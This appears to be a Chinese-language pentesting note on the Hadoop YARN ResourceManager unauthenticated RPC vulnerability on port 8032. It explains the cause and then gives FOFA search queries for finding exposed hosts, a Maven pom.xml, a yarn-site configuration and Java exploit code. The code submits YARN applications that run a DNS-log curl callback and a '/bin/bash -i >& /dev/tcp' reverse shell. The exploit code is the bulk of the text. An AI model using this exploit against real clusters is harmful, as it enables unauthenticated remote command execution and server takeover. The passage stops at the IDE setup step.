<aside> ❓ Yarn 是 Hadoop 资源管理器,它是一个通用资源管理系统和调度平台,可为上层应用提供统一的资源管理和调度。由于 Hadoop Yarn 默认对外开放了 RPC 服务,攻击者可在未经过身份验证的情况下通过该漏洞在受影响主机执行任意命令,最终控制服务器。

</aside>

Hadoop Yarn RPC未授权访问漏洞存在于Hadoop Yarn中负责资源管理和任务调度的ResourceManager,成因是该组件为用户提供的RPC服务默认情况下无需认证即可访问,因此把RPC服务暴露在公网上是非常危险的。

RPC服务利用这一问题会影响到部分有安全意识的用户。一部分用户基于过去几年中基于多种利用Hadoop的历史蠕虫已经意识到RESTful API的风险,通过配置开启了基于HTTP的认证,或通过防火墙/安全组封禁了RESTful API对应的8088端口,但由于他们没有意识到Hadoop同时提供RPC服务,并且访问控制机制开启方式跟REST API不一样,导致用户Hadoop集群中RPC服务所在的8032端口仍然可以未授权访问。

经测试可知,对于8032暴露在互联网且未开启kerberos的Hadoop Yarn ResourceManager,编写应用程序调用yarnClient.getApplications()即可查看所有应用信息

0x01 漏洞环境

volfocus

0x02 影响版本

所有版本。

app="APACHE-hadoop-YARN"

body="making an HTTP request to a Hadoop IPC port" && port="8032"

poc

Configuration conf = new YarnConfiguration();
YarnClient client = YarnClient.createYarnClient();
conf.addResource("src/main/resources/yarn-site.xml");
client.init(conf);
client.start();

YarnClientApplication app = client.createApplication();
ContainerLaunchContext amContainer = Records.newRecord(ContainerLaunchContext.class);
ApplicationSubmissionContext appContext = app.getApplicationSubmissionContext();
String cmd = "curl j57pb2.dnslog.cn";
amContainer.setCommands(Collections.singletonList(cmd));
appContext.setAMContainerSpec(amContainer);
appContext.setResource(Resource.newInstance(100, 1));
appContext.setPriority(Priority.newInstance(0));
appContext.setApplicationName("getshell-test");
appContext.setQueue("default");
client.submitApplication(appContext);

pom.xml

<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="<http://maven.apache.org/POM/4.0.0>"
         xmlns:xsi="<http://www.w3.org/2001/XMLSchema-instance>"
         xsi:schemaLocation="<http://maven.apache.org/POM/4.0.0> <http://maven.apache.org/xsd/maven-4.0.0.xsd>">
    <modelVersion>4.0.0</modelVersion>

    <groupId>org.example</groupId>
    <artifactId>hadoop_yarn_rce</artifactId>
    <version>1.0-SNAPSHOT</version>

    <properties>
        <maven.compiler.source>16</maven.compiler.source>
        <maven.compiler.target>16</maven.compiler.target>
    </properties>

    <dependencies>
        <dependency>
            <groupId>org.apache.hadoop</groupId>
            <artifactId>hadoop-common</artifactId>
            <version>3.2.1</version>
        </dependency>
        <dependency>
            <groupId>org.apache.hadoop</groupId>
            <artifactId>hadoop-client</artifactId>
            <version>3.2.1</version>
        </dependency>
        <dependency>
            <groupId>org.apache.hadoop</groupId>
            <artifactId>hadoop-hdfs</artifactId>
            <version>3.2.1</version>
        </dependency>

    </dependencies>

</project>

yarn-site.yml

<?xml version="1.0" encoding="UTF-8"?>

<configuration>

    <property>
        <name>yarn.resourcemanager.address</name>
        <value>vulfocus.fofa.so:64387</value>
    </property>

</configuration>

rce.java

import org.apache.hadoop.conf.Configuration;
import org.apache.hadoop.fs.Path;
import org.apache.hadoop.yarn.api.protocolrecords.GetNewApplicationResponse;
import org.apache.hadoop.yarn.api.records.ApplicationId;
import org.apache.hadoop.yarn.api.records.ApplicationSubmissionContext;
import org.apache.hadoop.yarn.api.records.ContainerLaunchContext;
import org.apache.hadoop.yarn.api.records.Resource;
import org.apache.hadoop.yarn.client.api.YarnClient;
import org.apache.hadoop.yarn.client.api.YarnClientApplication;
import org.apache.hadoop.yarn.exceptions.YarnException;
import org.apache.hadoop.yarn.util.Records;

import java.io.File;
import java.io.IOException;
import java.util.Collections;

public class rce {

    private static String confPath = "\\Users\\grayash\\pentesting\\web-basic\\p3-漏洞利用\\2-poc&exp\\Hadoop Yarn RPC未授权访问漏洞";

    public static void main(String[] args) throws IOException, YarnException {
        //初始化配置文件
        Configuration configuration = initConfiguration(confPath);
        YarnClient yarnClient = YarnClient.createYarnClient();
        yarnClient.init(configuration);
        //启动yarnclient
        yarnClient.start();

        YarnClientApplication app = yarnClient.createApplication();
        GetNewApplicationResponse appResponse = app.getNewApplicationResponse();
        Resource clusterMax = appResponse.getMaximumResourceCapability();
        ApplicationSubmissionContext appContext = app.getApplicationSubmissionContext();
        ContainerLaunchContext clc = Records.newRecord(ContainerLaunchContext.class);
        /*mem、vcores*/
        Resource amResource = Records.newRecord(Resource.class);
        appContext.setResource(amResource);
        /*commands*/
        String cmd = "/bin/bash -i >& /dev/tcp/ip/port 0>&1";
        clc.setCommands(Collections.singletonList(cmd));
        /*将ContainerLauncherContext设置到ApplicationSubmissionContext中*/
        appContext.setAMContainerSpec(clc);
        //提交任务
        ApplicationId appId = yarnClient.submitApplication(appContext);

    }
    public static Configuration initConfiguration(String confPath) {
        Configuration configuration = new Configuration();
        configuration.addResource(new Path(confPath + File.separator + "yarn-site.xml"));
        return configuration;
    }
}

运行反弹shell

Untitled

ide环境设置:

新建maven项目: